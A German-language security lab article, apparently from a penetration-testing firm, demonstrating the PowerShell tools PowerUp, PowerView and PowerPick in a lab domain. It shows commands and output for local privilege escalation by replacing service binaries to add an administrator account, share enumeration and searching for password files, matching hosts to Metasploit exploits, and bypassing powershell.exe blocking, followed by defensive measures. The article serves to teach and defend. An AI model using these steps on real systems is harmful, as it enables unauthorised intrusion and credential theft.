Angriffe mit PowerShell - Einführung in PowerTools

Angriffe mit PowerShell

Einführung in PowerTools

Michael Schneider
von Michael Schneider
Lesezeit: 13 Minuten

PowerShell ist ein sehr vielseitiges Tool. In früheren Labs habe ich mich bereits über die Grundlagen PowerShells im Umfeld des Penetration Testings geschrieben und habe zudem versucht PowerShell zu blockieren. In diesem Labs will ich darauf eingehen, wie PowerShell als offensives Tool eingesetzt werden kann. Dazu habe ich mit der Toolsammlung PowerTools des Veil-Framework Projekts auseinandergesetzt.

PowerUp: Lokale Angriffe

PowerUp ist ein Tool zur Unterstützung von Local Privilege Escalation Attacken gegen Microsoft Windows Systeme und wurde von Will Schroeder alias @harmj0y entwickelt. PowerUp besteht aus einer PS1-Datei und wird durch den Befehl Import-Module in einer PS-Session geladen. Die Funktion Invoke-AllChecks untersucht die Konfiguration des Systems und listet mögliche Angriffsvektoren auf. Ich habe mit dieser Funktion einen Windows 8 Client in meinem Lab-Netzwerk untersucht und dabei zwei Dienste gefunden, die mit normalen Benutzerrechten manipuliert werden können.

PS C:\Tools\PowerUp> Invoke-AllChecks

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...

[*] Checking for unquoted service paths...
[*] Use 'Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse

[+] Unquoted service path: ProcessExplorerService - C:\Program Files\procexp.exe
[+] Unquoted service path: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe

[*] Checking service executable permissions...
[*] Use 'Write-ServiceEXE -ServiceName SVC' or 'Write-ServiceEXECMD' to abuse

[+] Vulnerable service executable: ProcessExplorerService - C:\Program Files\procexp.exe
[+] Vulnerable service executable: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe

[*] Checking service permissions...

[*] Checking for unattended install files...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

Für beide Dienste existieren zwei mögliche Angriffsvektoren. Beim Dienst ProcessExplorerService hat der normaler lokaler Benutzer Schreibrechte auf die Datei procexp.exe und kann diese unter anderem durch eine beliebige andere Datei ersetzen. Die PowerUp-Funktion Write-ServiceEXE erstellt dazu eine Datei, die einen zusätzlichen lokalen Benutzer anlegt und diesen der lokalen Administratorengruppe hinzufügt. Mit dieser neu erstellten Datei wird anschliessend die Datei des Dienstes überschrieben. Damit dieser Vorgang nach erfolgreicher Durchführung wieder rückgängig gemacht werden kann, sollte zuvor eine Kopie der Originaldatei angelegt werden. Die Funktion Write-ServiceEXE erstellt automatisch ein Backup der zu ersetzenden Datei.

Vor der Ausführung sollte der Angreifer aber sicherstellen, dass der Benutzeraccount auch die erforderlichen Rechte hat, eine Kopie im Verzeichnis anzulegen. Ist dies nicht der Fall, sollte vor der Ausführung eine Kopie manuell erstellt werden, so dass nach der erfolgreichen Ausführung der ursprüngliche Zustand wiederhergestellt werden kann und keine deutlich sichtbaren Spuren hinterlassen werden. Im folgenden Beispiel wird eine Fehlermeldung ausgegeben, da die Datei procexp.exe zwar überschrieben werden konnte, das Speichern der Kopie aber fehlschlug. Trotzdem wird beim nächsten Start des Diensts die manipulierte Datei ausgeführt und der Benutzer scip_admin angelegt. Dadurch erhält der Angreifer einen Benutzer mit lokalen Administratorenrechten.

PS C:\Tools\PowerUp> Write-ServiceEXE -ServiceName ProcessExplorerService -UserName scip_admin
Move-Item : Access to the path is denied.
At C:\Tools\PowerUp\PowerUp.ps1:689 char:13
+             Move-Item $ServicePath $BackupPath
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Program Files\procexp.exe:FileInfo) [Move-Item], UnauthorizedAccessException
    + FullyQualifiedErrorId : MoveFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.MoveItemCommand

[*] Binary for service 'ProcessExplorerService' to create user 'scip_admin : Password123!' written to 'C:\Program Files\procexp.exe'

Bei der Definition des Dienstes ProcessMonitorService wurde der Pfad zur ausführbaren Datei ohne Anführungszeichen definiert. Der vollständige Pfad lautet C:\Program Files\Sysinternal\Process Monitor\Procmon.exe. Windows wird beim Starten des Dienstes nun bei jedem Leerzeichen im Pfad nach einer ausführbaren Datei suchen. Folglich werden nebst der eigentlichen Datei Procon.exe auch die folgenden Dateien ausgeführt, falls diese existieren:

Um diese Fehlkonfiguration auszunutzen, benötigt der Angreifer Schreibrechte im jeweiligen Verzeichnis. Standardmässig haben nicht privilegierte Benutzer keine Schreibrechte auf Verzeichnisse unter C:\Program Files. In diesem Beispiel sind die Berechtigungen für das Unterverzeichnis Sysinternal jedoch so gesetzt, dass auch ein normaler Benutzer Dateien schreiben kann. Mit der PowerUp-Funktion Write-UserAddServiceBinary wird nun eine Datei erstellt, die einen neuen Benutzer anlegt und diese Datei wird als Process.exe ins Verzeichnis Sysinternals kopiert. Wenn der Dienst das nächste Mal gestartet wird, wird der neue Benutzer scip_admin2 angelegt. Dadurch erhält der Angreifer einen Benutzer mit lokalen Administratorenrechten.

PowerView: Spaziergang durch die Domäne

PowerView, ebenfalls entwickelt von Will Schroeder, ist ein Tool das Windows Domänen Funktionen nutzen kann um mehr über ein Netzwerk und dessen Benutzer in Erfahrung zu bringen. Bei allen Optionen des Tools handelt es sich um legitime Anfragen, die im Rechtekontext eines Domänen-Benutzers ausgeführt werden können. Einige Funktionen genannt MetaFunctions stammen aus dem Tool netview des Security Researchers Rob Fuller alias mubix. Mit wenigen Befehlen können Informationen über Benutzer, Computer und Shares ausgelesen werden.

PS C:\Tools\PowerView> Invoke-Netview
Running Netview with delay of 0
[+] Domain Controller: dc01.labs.scip.ch
[*] Total number of hosts: 2

[+] Server: dc01.labs.scip.ch
[+] IP: 192.168.78.100
[+] dc01.labs.scip.ch - Share: ADMIN$   : Remote Admin
[+] dc01.labs.scip.ch - Share: Backup$  :
[+] dc01.labs.scip.ch - Share: C$       : Default share
[+] dc01.labs.scip.ch - Share: Data     :
[+] dc01.labs.scip.ch - Share: IPC$     : Remote IPC
[+] dc01.labs.scip.ch - Share: NETLOGON         : Logon server share
[+] dc01.labs.scip.ch - Share: SYSVOL   : Logon server share
[+] dc01.labs.scip.ch - Share: Users    :

[+] Server: client02.labs.scip.ch
[+] IP: 192.168.78.135
[+] client02.labs.scip.ch - Logged-on - LABS\\sysop
[+] client02.labs.scip.ch - Logged-on - LABS\\sysop
[+] client02.labs.scip.ch - Logged-on - LABS\\sysop
[+] client02.labs.scip.ch - Logged-on - LABS\\sysop
[+] client02.labs.scip.ch - Logged-on - LABS\\jdoe
[+] client02.labs.scip.ch - Share: ADMIN$       : Remote Admin
[+] client02.labs.scip.ch - Share: C$   : Default share
[+] client02.labs.scip.ch - Share: IPC$         : Remote IPC

Der Befehl Invoke-ShareFinder durchsucht das Netzwerk nach Freigaben und listet diese nach System auf. Es werden auch versteckte Freigaben (mit einem $ am Ende des Namens) aufgelistet. Solche Freigaben werden im Windows Explorer in der Standardübersicht nicht angezeigt. Innerhalb der gefundenen Freigaben kann mittels der Funktion Invoke-FileFinder nach Dateien gesucht wurden. Der Aufruf der Funktion, ohne zusätzliche Parameter, sucht nach Dateien mit den Begriffen pass, sensitive, secret, admin, login, oder unattend*.xml im Namen. Zusätzlich kann durch die Verwendung des Parameters -Terms nach bestimmten Suchbegriffen respektive Mustern gesucht werden. Im folgenden Beispiel wird in den Freigaben nach ZIP-Dateien gesucht.

PS C:\Tools\PowerView> Invoke-FileFinder

FullName       : \\dc01.labs.scip.ch\Backup$\passwords.txt
Owner          : BUILTIN\Administrators
LastAccessTime : 02.07.2015 07:17:40
LastWriteTime  : 02.07.2015 07:18:06
Length         : 44

PS C:\Tools\PowerView> Invoke-FileFinder -Terms *.zip

FullName       : \\dc01.labs.scip.ch\Backup$\backup-01.zip
Owner          : BUILTIN\Administrators
LastAccessTime : 02.07.2015 07:17:13
LastWriteTime  : 02.07.2015 07:17:13
Length         : 0

FullName       : \\dc01.labs.scip.ch\Backup$\backup-02.zip
Owner          : BUILTIN\Administrators
LastAccessTime : 02.07.2015 07:17:25
LastWriteTime  : 02.07.2015 07:17:13
Length         : 0

FullName       : \\dc01.labs.scip.ch\Backup$\backup-03.zip
Owner          : BUILTIN\Administrators
LastAccessTime : 02.07.2015 07:17:32
LastWriteTime  : 02.07.2015 07:17:13
Length         : 0

Zu jedem Computer-Objekt ist im Active Directory die Betriebssystem Version (Version und das installierte Service Pack) hinterlegt. Die Funktion Get-ExploitableSystems liest diese Information aus und gleicht diese mit einer Liste öffentlich bekannter Exploits ab.

PS C:\Tools\PowerView> Get-ExploitableSystems

ComputerName    : dc01.labs.scip.ch
OperatingSystem : Windows Server 2008 R2 Standard
ServicePack     :
LastLogon       : 02.07.2015 07:10:13
MsfModule       : exploit/windows/smb/ms10_061_spoolss
CVE             : http://www.cvedetails.com/cve/2010-2729

ComputerName    : dc01.labs.scip.ch
OperatingSystem : Windows Server 2008 R2 Standard
ServicePack     :
LastLogon       : 02.07.2015 07:10:13
MsfModule       : exploit/windows/smb/ms10_061_spoolss
CVE             : http://www.cvedetails.com/cve/2010-2729

ComputerName    : dc01.labs.scip.ch
OperatingSystem : Windows Server 2008 R2 Standard
ServicePack     :
LastLogon       : 02.07.2015 07:10:13
MsfModule       : exploit/windows/smb/ms08_067_netapi
CVE             : http://www.cvedetails.com/cve/2008-4250

ComputerName    : dc01.labs.scip.ch
OperatingSystem : Windows Server 2008 R2 Standard
ServicePack     :
LastLogon       : 02.07.2015 07:10:13
MsfModule       : exploit/windows/smb/ms09_050_smb2_negotiate_func_index
CVE             : http://www.cvedetails.com/cve/2009-3103

PowerPick: PowerShell Skripte ausführen trotz Sperre

Das Ziel des Projekts PowerPick entwickelt vom Pentester/Red-Teamer Justin Warner alias @sixdub ist es PowerShell-Funktionen ohne powershell.exe zu nutzen. Ein ähnliches Projekt ist das Tool PS2EXE, das ich in Die Geschichte vom Versuch, PowerShell zu blocken vorgestellt habe. Während bei PS2EXE ein PS-Skript in eine ausführbare Datei gekapselt wird, ist das Tool SharpPick in der Lage, beliebige PS-Skripte von Dateien, Ressourcen oder URLs direkt auszuführen. Dazu wird das Skript als Parameter beim Aufruf von sharppick.exe übergeben. Wenn also die Ausführung powershell.exe blockiert ist, aber andere beliebige ausführbare Dateien erlaubt sind, können weiterhin PS-Skripte ausgeführt werden.

C:\Program Files\Sysinternals>SharpPick.exe -f C:\Tools\PowerUp\PowerUp.ps1
[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...

[*] Checking for unquoted service paths...
[*] Use 'Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse

[+] Unquoted service path: ProcessExplorerService - C:\Program Files\procexp.exe
[+] Unquoted service path: ProcessMonitorService - C:\Program Files\Sysinternals\Process Monitor\Procmon.exe

Abwehrmassnahmen

Es gibt kein Allheilmittel gegen die in diesem Artikel genannten Angriffe. Die Verteidigung gegen solche Angriffe beginnt bei der Konfiguration des Betriebssystems und Netzwerks.

Nebst diesen Massnahmen sollten weitere Kontrollmechanismen wie eine Whitelist für Programme implementiert werden. Wenn bekannt ist, aus welchen Verzeichnissen Programme ausgeführt werden, dann sollten andere Verzeichnisse wie zum Beispiel das Verzeichnis des Benutzerprofils so eingerichtet werden, dass einerseits die Ausführung von Dateien nicht erlaubt werden und andererseits ausführbare Dateien gar nicht erst gespeichert werden dürfen. Ab Windows Server 2008 hat Microsoft das Feature Filter Screening eingeführt, mit dem bei Freigaben festgelegt werden kann, welche Dateitypen in der Freigabe gespeichert werden können. So ist es zum Beispiel möglich das Speichern von ausführbaren Dateien zu verhindern.

File Screening in Windows

Mit der Kombinationen dieser Kontrollmechanismen können die gezeigten Beispiele mitigiert und somit die Angriffsoberfläche für lokale Systeme und das interne Netzwerk deutlich reduziert werden.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschrieber Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Haben Sie Interesse an einem Penetration Test?

Unsere Spezialisten kontaktieren Sie gern!

×
HardeningKitty

HardeningKitty

Michael Schneider

KleptoKitty

KleptoKitty

Michael Schneider

Linux Hardening

Linux Hardening

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv